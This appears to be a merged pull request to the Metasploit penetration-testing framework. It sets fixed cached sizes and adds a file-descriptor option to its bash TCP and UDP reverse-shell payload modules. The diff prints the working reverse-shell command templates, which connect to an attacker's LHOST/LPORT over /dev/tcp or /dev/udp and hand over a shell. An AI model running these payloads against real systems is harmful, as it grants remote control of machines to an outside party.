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Update cache sizes for bash payloads #21262

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Merged
smcintyre-r7 merged 1 commit into from
Apr 9, 2026
+8 −5
Merged

Update cache sizes for bash payloads #21262

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3 changes: 2 additions & 1 deletion lib/msf/util/payload_cached_size.rb
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Original file line number Diff line number Diff line change
Expand Up @@ -30,7 +30,8 @@ class PayloadCachedSize
'DNSZONE' => 'corelan.eu',
'PEXEC' => '/bin/sh',
'HttpUserAgent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0',
'StagerURILength' => 5
'StagerURILength' => 5,
'FD' => 100
},
'Encoder' => nil,
'DisableNops' => true
Expand Down
5 changes: 3 additions & 2 deletions modules/payloads/singles/cmd/unix/reverse_bash.rb
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Expand Up @@ -4,7 +4,7 @@
##

module MetasploitModule
CachedSize = :dynamic
CachedSize = 79

include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
Expand Down Expand Up @@ -37,6 +37,7 @@ def initialize(info = {})
)
register_advanced_options(
[
OptInt.new('FD', [false, 'The file descriptor to use for bash redirection']),
OptString.new('BashPath', [true, 'The path to the Bash executable', 'bash']),
OptString.new('ShellPath', [true, 'The path to the shell to execute', 'sh'])
]
Expand All @@ -55,7 +56,7 @@ def generate(_opts = {})
# Returns the command string to use for execution
#
def command_string
fd = rand(20..219)
fd = datastore['FD'] || rand(20..219)
return "#{datastore['BashPath']} -c '0<&#{fd}-;exec #{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']};#{datastore['ShellPath']} <&#{fd} >&#{fd} 2>&#{fd}'"
# same thing, no semicolons
# return "/bin/bash #{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} <&#{fd} >&#{fd}"
Expand Down
5 changes: 3 additions & 2 deletions modules/payloads/singles/cmd/unix/reverse_bash_udp.rb
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Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@
##

module MetasploitModule
CachedSize = :dynamic
CachedSize = 89

include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
Expand Down Expand Up @@ -40,6 +40,7 @@ def initialize(info = {})
)
register_advanced_options(
[
OptInt.new('FD', [false, 'The file descriptor to use for bash redirection']),
OptString.new('BashPath', [true, 'The path to the Bash executable', 'bash']),
OptString.new('ShellPath', [true, 'The path to the shell to execute', 'sh'])
]
Expand All @@ -58,7 +59,7 @@ def generate(_opts = {})
# Returns the command string to use for execution
#
def command_string
fd = rand(20..219)
fd = datastore['FD'] || rand(20..219)
return "#{datastore['BashPath']} -c '0<&#{fd}-;exec #{fd}<>/dev/udp/#{datastore['LHOST']}/#{datastore['LPORT']};echo>&#{fd};#{datastore['ShellPath']} <&#{fd} >&#{fd} 2>&#{fd}'"

# no semicolons
Expand Down
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